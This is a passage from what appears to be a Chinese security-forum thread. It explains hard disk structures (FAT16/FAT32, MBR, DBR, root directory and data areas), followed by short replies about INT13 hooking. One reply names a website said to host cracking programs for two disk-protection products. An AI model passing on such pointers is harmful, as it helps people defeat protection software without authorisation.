    好了,我们言归正传,为了实现文件的链式存储,硬盘上必须准确地记录哪些簇已经被文件占用,还必须为每个已经占用的簇指明存储后继内容的下一个簇的簇号,对一个文件的最后一簇,则要指明本簇无后继簇。这些都是由FAT表来保存的,表中有很多表项,每项记录一个簇的信息。由于FAT对于文件管理的重要性,所以FAT有一个备份,即在原FAT的后面再建一个同样的FAT。初形成的FAT中所有项都标明为"未占用",但如果磁盘有局部损坏,那么格式化程序会检测出损坏的簇,在相应的项中标为"坏簇",以后存文件时就不会再使用这个簇了。FAT的项数与硬盘上的总簇数相当,每一项占用的字节数也要与总簇数相适应,因为其中需要存放簇号。FAT的格式有多种,最为常见和为读者所熟悉的是FAT16和FAT32,其中FAT16是指文件分配表使用16位数字,由于16位分配表最多能管理65536(即2的16次方)个簇,也就是所规定的一个硬盘分区。由于每个簇的存储空间最大只有32KB,所以在使用FAT16管理硬盘时,每个分区的最大存储容量只有(65536×32 KB)即2048MB,也就是我们常说的2G。现在的硬盘容量是越来越大,由于FAT16对硬盘分区的容量限制,所以当硬盘容量超过2G之后,用户只能将硬盘划分成多个2G的分区后才能正常使用,为此微软公司从Windows 95 OSR2版本开始使用FAT32标准,即使用32位的文件分配表来管理硬盘文件,这样系统就能为文件分配多达4294967296(即2的32次方)个簇,所以在簇同样为32KB时每个分区容量最大可达65G以上。此外使用FAT32管理硬盘时,每个逻辑盘中的簇长度也比使用FAT16标准管理的同等容量逻辑盘小很多。由于文件存储在硬盘上占用的磁盘空间以簇为最小单位,所以某一文件即使只有几十个字节也必须占用整个簇,因此逻辑盘的簇单位容量越小越能合理利用存储空间。所以FAT32更适于大硬盘。

(4)DIR区:

    DIR(Directory)是根目录区,紧接着第二FAT表(即备份的FAT表)之后,记录着根目录下每个文件(目录)的起始单元,文件的属性等。定位文件位置时,操作系统根据DIR中的起始单元,结合FAT表就可以知道文件在硬盘中的具体位置和大小了。

(5)数据(DATA)区:

    数据区是真正意义上的数据存储的地方,位于DIR区之后,占据硬盘上的大部分数据空间。

    谈及硬盘的数据结构,人们总想到从前的FAT16和现在的FAT32,其实不然,FAT16也好,FAT32也好,都只是硬盘储存数据的格式之一,而FAT(FILE ALLOCATION TABLE)即文件分配表也只是硬盘数据结构中的一部分,一个完整硬盘的数据应该包括五部分:MBR,DBR,FAT,DIR区和DATA区。

     MBR(MAIN BOOT RECORD)即主引导记录区,它位于整个硬盘的0磁道0柱面1扇区,包括硬盘引导程序和分区表。引导程序完成的任务就是检查分区表是否正确以及确定哪个分区为操作系统可引导,并在程序结束时把该分区的启动程序(例如DOS的IO.SYS)调入内存交予控制权。分区表很多人都知道,以80H或00H为开始标志,以55AAH为结束标志,共64字节,位于本扇区的最末端。有关MBR的具体结构以后再作详叙,但值得一提的是,MBR是由分区程序产生(例如DOS 的FDISK.EXE)的,它不依赖于任何操作系统,而且硬盘引导程序也不是一成不变的,我们可以任意编写,只要它能完成前述的任务。这也是为什么能实现多系统启动的原因。

     DBR(DOS BOOT RECORD)即操作系统引导记录区通常位于硬盘的0磁道1柱面1扇区,是操作系统可直接访问的第一个扇区,它也包括一个引导程序和一个被称为BPB(BIOS PARAMETER BLOCK)的本分区参数记录表。其实每个逻辑分区都有一个DBR,其参数视分区的大小,操作系统的类别而有所不同。引导程序的主要任务是判断本分区根目录前两个文件是否是操作系统的引导文件(例如DOS的IO.SYS和MSDOS.SYS),如有,就把第一个文件读入内存,并把控制权交予该文件。BPB参数块记录着本分区的起始扇区,结束扇区,文件储存格式,硬盘介质描述符,根目录大小,FAT个数,分配单元(allocation unit,以前也称之为簇)的大小等重要参数。DBR由高级格式化程序产生(例如DOS 的FORMAT.COM)。

     FAT区紧接在DBR之后,其大小由本分区的大小及文件分配单元的大小决定。由于FAT对于文件管理非常重要,从一开始操作系统的设计者们就给FAT作了一个备份,即在原FAT的后面再建一个一模一样的FAT。由此产生了第一FAT表和第二FAT表的称谓,这种双FAT的做法一直延续到现在,可见FAT对于硬盘数据的重要性。关于FAT的格式历来就有很多选择,Microsoft 的DOS及WINDOWS采用的是单元链格式,也即是我们所熟悉的FAT12,FAT16和FAT32格式,但除此以外并非没有其它格式的FAT,象WINDOWS NT ,OS/2,UNIX,NOVELL等都有自己的文件分配(管理)格式。

     光有FAT还不能定位文件在磁盘中的位置,FAT还必须和DIR配合才能准确定位文件的位置。DIR.是DIRECTORY即根目录区的简写,DIR紧接在第二FAT表之后,记录着根目录下每个文件(目录)的起始单元(这是最重要的),文件的属性(子目录也属文件的属性)等,定位文件位置时,操作系统根据DIR中的起始单元,结合FAT表就可以知道文件在磁盘的具体位置及大小了。这样的文件定位方式(也可称为文件寻址方式)是由单元链结构决定的,也就是说,只有Microsoft 的DOS和WINDOWS需要这样定位文件,而其它操作系统并非如此。

     在DIR区之后,才是真正意义上的数据储存区,即DATA区。它虽然占据了硬盘的绝大部分空间,但没有了前面的各部分,它对于我们来说,也只能是一些枯燥的二进制代码,没有任何意义。在这里有一点要说明的是,我们通常所说的格式化程序(指高级格式化,例如DOS下的FORMAT程序),并没有把DATA区的数据清除,而是重写了FAT表而已,至于分区硬盘,也只是修改了MBR和DBR,绝大部分的DATA区的数据并没有被改变,这也是许多硬盘数据能够得以修复的诱因。但即便如此,如若MBR,DBR,FAT ,DIR之一被破坏的话,也足够咱们这些所谓的DIY老鸟们忙乎半天了,因为1GB的空间就意味着2百万个扇区啊!当然,借助一些工具软件可以较有效的解决这些问题,呵呵。
2004-11-5 10:16
0
雪    币: 117
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
38
收藏了。
2004-11-5 12:55
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
39
我曾在网上找了好久,可惜都是什么中断INT13的!晕
2005-2-20 17:11
0
雪    币: 238
活跃值: (250)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
40
好...强!!!!!!
2005-2-20 17:27
0
雪    币: 768
活跃值: (535)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
41
去这个网站看看!!!
有"三茗”和“小哨兵”的破解程序!
shuihua.hostrocket.com
2005-2-21 08:19
0
雪    币: 229
活跃值: (168)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
42
各位大侠说了这么多!涉及细节的好像都是修改int13-----------可是好多系统都是自带驱动程序,用不着调用INT13吧。再说调用INT13需要实模式,不是每个系统都要这么麻烦的切换来切换去吧!

请各位高手再说细点吧。

说错了大家给我纠正。
2005-2-21 09:39
0
雪    币: 214
活跃值: (100)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
43
还没见过这么牛的网管
2005-2-21 14:04
0
雪    币: 229
活跃值: (168)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
44
最初由 hangj 发布
各位大侠说了这么多!涉及细节的好像都是修改int13-----------可是好多系统都是自带驱动程序,用不着调用INT13吧。再说调用INT13需要实模式,不是每个系统都要这么麻烦的切换来切换去吧!

请各位高手再说细点吧。

说错了大家给我纠正。

不懂ing!
2005-3-2 14:26
0
游客
登录 | 注册 方可回帖
返回
//